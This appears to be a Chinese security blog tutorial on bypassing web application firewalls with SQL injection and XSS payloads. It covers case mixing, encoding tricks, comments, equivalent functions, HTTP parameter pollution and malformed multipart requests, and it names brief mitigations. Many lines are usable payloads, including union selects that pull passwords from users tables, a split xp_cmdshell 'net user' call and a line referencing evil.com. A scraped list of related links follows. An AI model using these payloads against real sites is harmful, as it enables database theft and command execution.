16. 再说 WAF 绕过
1,大小写混排
这可以算最容易想到的方式了。大小写绕过用于只针对小写或大写的关键字匹配技术,正则表达式 /express/i 大小写不敏感即无法绕过,这是最简单的绕过技术。
举例:
z.com/index.php?page_id=- uNIoN sELecT ,,,
减少漏报方法:对每个关键字或每种情况都做大小写转换的处理。
2,替换关键字
这种情况下大小写转化无法绕过,而且正则表达式会替换或删除 select、union 这些关键字,如果只匹配一次就很容易绕过。
举例:
z.com/index.php?page_id=- UNIunionON SELselectECT ,,,
减少漏报方法:这种替换可以构造得更复杂:SeLSeselectleCTecT,设计循环匹配逻辑才可以封堵住。
3,对一些攻击特征串进行不同的编码
如 URL 编码,ASCII,Unicode 等,使用一些非标准的编码很容易就可以绕过 WAF。
URL 编码
在 Chrome 中输入一个连接,非保留字的字符浏览器会对其 URL 编码,如空格变为%20、单引号%27、左括号%28、右括号%29
普通的URL编码可能无法实现绕过,还存在一种情况URL编码只进行了一次过滤,可以用两次编码绕过:page.php?id=%252f%252a*/UNION%252f%252a /SELECT
十六进制编码
举例:z.com/index.php?page_id=- /*!u%6eion*/ /*!se%6cect*/ ,,,…
SELECT (extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
示例代码中,前者是对单个字符十六进制编码,后者则是对整个字符串编码,使用上来说较少见一点。
Unicode编码
Unicode有所谓的标准编码和非标准编码,假设我们用的utf-8为标准编码,那么西欧语系所使用的就是非标准编码了。看一下常用的几个符号的一些Unicode编码:
- 单引号: %u0027、%u02b9、%u02bc、 %u02c8、 %u2032、 %uff07、 %c0%27、 %c0%a7、 %e0%80%a7
- 空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0
- 左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8
- 右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9
举例:
?id=%D6‘%20AND%=% SELECT ‘Ä’=’A’; #
两个示例中,前者利用双字节绕过,比如对单引号转义操作变成 \’,那么就变成了 %D6%5C’,%D6%5C 构成了一个双字节即 Unicode 字节,单引号可以正常使用。
第二个示例使用的是两种不同编码的字符的比较,它们比较的结果可能是 True 或者 False ,关键在于 Unicode 编码种类繁多,基于黑名单的过滤器无法处理所有情况,从而实现绕过。
另外平时听得多一点的可能是 utf-7 的绕过,还有 utf-16、utf-32 的绕过,后者曾成功的实现对 google 的绕过,有兴趣的朋友可以去了解下。
减少漏报方法:暂无,有待调研
4,使用注释
看一下常见的用于注释的符号有哪些://, — , /**/, #, –+,– -, ;,–a
1.普通注释
举例:
z.com/index.php?page_id=- %55nION/**/%53ElecT ,,,4 ‘union%a0select pass from users#
/**/在构造得查询语句中插入注释,规避对空格的依赖或关键字识别; #、–+ 用于终结语句的查询
2.内联注释相比普通注释,内联注释用的更多,它有一个特性 /!**/ 只有MySQL能识别
举例:
index.php?page_id=- /*!UNION*/ /*!SELECT*/ ,,
?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+,,,…
两个示例中前者使用内联注释,后者还用到了普通注释。使用注释一个很有用的做法便是对关键字的拆分,要做到这一点后面讨论的特殊符号也能实现,当然前提是包括/、*在内的这些字符能正常使用。
减少漏报方法:增加 WAF 匹配规则对注视的支持
5,等价函数与命令
有些函数或命令因其关键字被检测出来而无法使用,但是在很多情况下可以使用与之等价或类似的代码替代其使用。
函数或变量
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()举例:
substring()和substr()无法使用时:
?id=+and+ascii(lower(mid((select+pwd+from+users+limit+,),,)))=
或者:substr((select ‘password’),,) = ×
strcmp(left(‘password’,), ×) =
strcmp(left(‘password’,), ×) =
strcmp(left(‘password’,), ×) = -
上述这几个示例用于说明有时候当某个函数不能使用时,还可以找到其他的函数替代其实现,置于select、uinon、where等关键字被限制如何处理将在后面filter部分讨论。
符号
and和or有可能不能使用,或者可以试下&&和||能不能用;还有=不能使用的情况,可以考虑尝试,因为如果不小于又不大于,那边是等于了
在看一下用得多的空格,可以使用如下符号表示其作用:%20 %09 %0a %0b %0c %0d %a0 /**/生僻函数
MySQL/PostgreSQL支持XML函数:
Select UpdateXML(‘’,’/script/@x/’,’src=//evil.com’);
?id= and =(updatexml(,concat(0x3a,(select user())),))
SELECT xmlelement(name img,xmlattributes(1as src,’a\l\x65rt()’as \117n\x65rror)); //postgresql
?id= and extractvalue(, concat(0x5c, (select table_name from information_schema.tables limit )));MySQL、PostgreSQL、Oracle它们都有许多自己的函数,基于黑名单的filter要想涵盖这么多东西从实际上来说不太可能,而且代价太大,看来黑名单技术到一定程度便遇到了限制。
减少漏报方法:增加WAF规则集的匹配支持
6,特殊符号
这里我把非字母数字的字符都规在了特殊符号一类,特殊符号有特殊的含义和用法,涉及信息量比前面提到的几种都要多。
先看下乌云drops上“waf的绕过技巧”一文使用的几个例子:
- 使用反引号`,例如select `version()`,可以用来过空格和正则,特殊情况下还可以将其做注释符用
- 神奇的”-+.”,select+id-1+1.from users; “+”是用于字符串连接的,”-”和”.”在此也用于连接,可以逃过空格和关键字过滤
- @符号,select@^1.from users; @用于变量定义如@var_name,一个@表示用户定义,@@表示系统变量
- Mysql function() as xxx 也可不用as和空格, select-count(id)test from users; //绕过空格限制
可见,使用这些字符的确是能做很多事,也证实了那句老话,只有想不到,没有做不到。
本人搜罗了部分可能发挥大作用的字符(未包括’、*、/等在内,考虑到前面已经出现较多次了):`、~、!、@、%、()、[]、.、-、+ 、|、%00
举例:
关键字拆分:‘se’+’lec’+’t’
%S%E%L%E%C%T
.aspx?id=;EXEC(‘ma’+’ster..x’+’p_cm’+’dsh’+’ell ”net user”’)
!和():’ or –+=- -!!!’
id=+(UnI)(oN)+(SeL)(EcT) //另 Access中,”[]”用于表和列,”()”用于数值也可以做分隔
本节最后给出一些和这些字符多少有点关系的操作符供参考:
>>, <<, >=,,,XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN
使用这些”特殊符号”实现绕过是一件很细微的事情,一方面各家数据库对有效符号的处理是不一样的,另一方面你得充分了解这些符号的特性和使用方法才能作为绕过手段。
减少漏报方法:增加WAF规则集的匹配支持
7,HTTP参数控制
这里HTTP参数控制除了对查询语句的参数进行篡改,还包括HTTP方法、HTTP头的控制
HPP(HTTP Parameter Polution)
举例:
/?id=;select+,,+from+users+where+id=—
/?id=;select+&id=,+from+users+where+id=—
/?id=/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users
HPP又称做重复参数污染,最简单的就是?uid=1&uid=2&uid=3,对于这种情况,不同的Web服务器处理方式如下:
具体WAF如何处理,要看其设置的规则,不过就示例中最后一个来看有较大可能绕过。
HPF(HTTP Parameter Fragment)
这种方法是HTTP分割注入,同CRLF有相似之处(使用控制字符%0a、%0d等执行换行)
举例:
/?a=+union/*&b=*/select+,pass/*&c=*/from+users–
select * from table where a= union/* and b=*/select ,pass/* limit */from users—
看罢上面两个示例,发现和HPP最后一个示例很像,不同之处在于参数不一样,这里是在不同的参数之间进行分割,到了数据库执行查询时再合并语句。
HPC(HTTP Parameter Contamination)
这一概念见于exploit-db上的paper:Beyond SQLi: Obfuscate and Bypass,Contamination同样意为污染。RFC2396定义了如下一些字符:
Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ‘ ()
Reserved : ; / ? : @ & = + $ ,
Unwise : { } | \ ^ [ ] `不同的Web服务器处理处理构造得特殊请求时有不同的逻辑:
以魔术字符%为例,Asp/Asp.net会受到影响
减少漏报方法:增加WAF规则集的匹配支持
8,缓冲区溢出(Advanced)
缓冲区溢出用于对付WAF,有不少WAF是C语言写的,而C语言自身没有缓冲区保护机制,因此如果WAF在处理测试向量时超出了其缓冲区长度,就会引发bug从而实现绕过。
举例:
?id= and (select )=(Select 0xA*)+UnIoN+SeLeCT+,,version(),,,database(),user(),,,,,,,,,,,,,,,,,,,
示例0xA*1000指0xA后面”A”重复1000次,一般来说对应用软件构成缓冲区溢出都需要较大的测试长度,这里1000只做参考,在某些情况下可能不需要这么长也能溢出
此外,有时把使用GET方法的攻击转换成使用POST方法的攻击可能会避开某些过滤。因为许多应用程序只针对某种类型的请求执行过滤,如GET请求,阻止已知的攻击字符串。如果一个应用程序希望收到使用GET方法的请求,使用POST请求就可以完全避开这种过滤。
再来看一个因没有正确解析HTTP Request数据包导致的WAF绕过,触发一个XSS:
POST /demo.php HTTP/1.0
Content-Type: multipart/form-data; boundary=
Content-Length:
––
Content-Disposition: form-data; name=x’;filename=”‘;name=payload;”
<script>alert()</script>
––
正常的HTTP应该是如下:
POST /demo.php HTTP/1.0
Content-Type: multipart/form-data; boundary=
Content-Length:
––
Content-Disposition: form-data; name=”upfile”; filename=”payload”
<script>alert()</script>
––
对比上面俩个 HTTP 头,给我们提供了 WAF 绕过的思路——修改攻击特征串或 HTTP 中的一细节,让 WAF 无法解析或者解析错误导致绕过。(许多 WAF 对无法解析的 HTTP 头,默认直接 BYPASS,因此要考虑在配置上针对这种情况做严格过滤)
下面放出以下过狗payload:
CONVERT(group_concat(table_name)+USING+latin5)
16. 再说 WAF 绕过的更多相关文章
- 各种WAF绕过手法学习
原文:https://mp.weixin.qq.com/s/aeRi1lRnKcs_N2JLcZZ0Gg 0X00 Fuzz/爆破 fuzz字典 1.Seclists/Fuzzing https ...
- 数据库语法整理及WAF绕过方式
关系型数据库 关系型数据库:指采用了关系模型来组织数据的数据库. 直白的说就是:关系型数据库最典型的数据结构是表,由二维表及其之间的联系所组成的一个数据组织 当今主流的关系型数据库有:Oracle,M ...
- 从偶然的机会发现一个mysql特性到wooyun waf绕过题
从偶然的机会发现一个mysql特性到wooyun waf绕过题 MayIKissYou | 2015-06-19 12:00 最近在测试的时候,偶然的机会发现了一个mysql的特性, 为啥是偶然的机会 ...
- WAF绕过神器 (过安全狗、智创SQL注入)
WAF绕过神器 (过安全狗.智创SQL注入) 发布时间:-- :10文章来源:网络文章作者:panni007 点击次数: 次 分享到: QQ空间 QQ微博 新浪微博 开心网 人人网 摘要:起因: by ...
- 基于HTTP协议的WAF绕过
一,畸形包绕过 1.先关闭burpsuite长度更新,为get请求,先使用bp的method转换为POST请求 2.get请求中空格使用%20代替,Connection改为keep-alive 二,分 ...
- 渗透测试学习 二十八、WAF绕过详解
大纲: WAF防护原理讲解 目录扫描绕过WAF 手工注入绕过WAF sqlmap绕过WAF 编写salmap绕过WAF 过WAF一句话编写讲解 菜刀连接绕过WAF webshell上传绕过WAF 提权 ...
- sql注入之堆叠注入及waf绕过注入
#堆叠查询注入 1.堆叠查询概念 stacked injections(堆叠查询注入)从名词的含义就可以看出一应该是一堆(多条)sql语句一起执行.而在真实运用中也是如此,我们知道在mysql中,主要 ...
- 文件上传之WAF绕过及相安全防护
文件上传在数据包中可修改的地方 Content-Disposition:一般可更改 name:表单参数值,不能更改 filename:文件名,可以更改 Content-Type:文件 MIME,视情况 ...
- 24:WEB漏洞-文件上传之WAF绕过及安全修复
本课重点 案例1:上传数据包参数对应修改测试 案例2:safedog+云服务器+uploadlabs测试 案例3:safedog+云服务器+uploadlabs_fuzz测试 案例4:文件上传安全修复 ...
随机推荐
- Linux LVM管理
创建和管理LVM 要创建一个LVM系统,一般需要经过以下步骤: 1. 创建分区 fdisk /dev/sdb 使用分区工具(如:fdisk等)创建LVM分区,方法和创建其他一般分区的方式是一样的,区别 ...
- WebSocket实现Web聊天室
一.客户端: JS代码如下: /* * 这部分js将websocket封装起来 */ var websocket = null; //判断当前浏览器是否支持WebSocket if ('WebSock ...
- 如何用<Enter>键代替<Tab>键实现光标焦点转移?
1.在主窗体的private中定义过程: procedure doenterastab(var Msg:TMsg;var Handled:Boolean); begin if Msg.messa ...
- TP里的关联查询
$res = $db->join('b on a.ex_id = b.pe_eid')->select(); 注意:这里的表a.表b需要带表前缀
- Ubuntu忘记用户密码解决方法--Authentication token manipulation error
1.重启系统,按住shift键进入grub菜单: 2.选择recovery mode恢复模式: 3.在recovery menu中选择root drop to root shell prompt: 4 ...
- Codeforces 432D Prefixes and Suffixes:KMP + dp
题目链接:http://codeforces.com/problemset/problem/432/D 题意: 给你一个字符串s,让你找出所有既是前缀又是后缀的子串,并输出它们分别出现了多少次. 题解 ...
- poj3177边-双连通分量
题意和poj3352一样..唯一区别就是有重边,预先判断一下就好了 #include<map> #include<set> #include<list> #incl ...
- Hibernate学习---第九节:Hibernate之hql
一.Hql 入门 1.实体类: package learn.hibernate.bean; import java.util.Date; import java.util.HashSet; impor ...
- 分析CSS布局中BFC
1.什么是BFC BFC(Block Formatting Context,块级元素格式化上下文)是 W3C CSS 2.1 规范中的一个概念,它决定了元素如何对其内容进行定位,以及与其他元素的关系和 ...
- python中的enumerate()函数用法
enumerate函数用于遍历序列中的元素以及它们的下标,可以非常方便的遍历元素. 比如我在往excel中写数据时就用到了这个函数: data = [] data.append(('预约码', '车牌 ...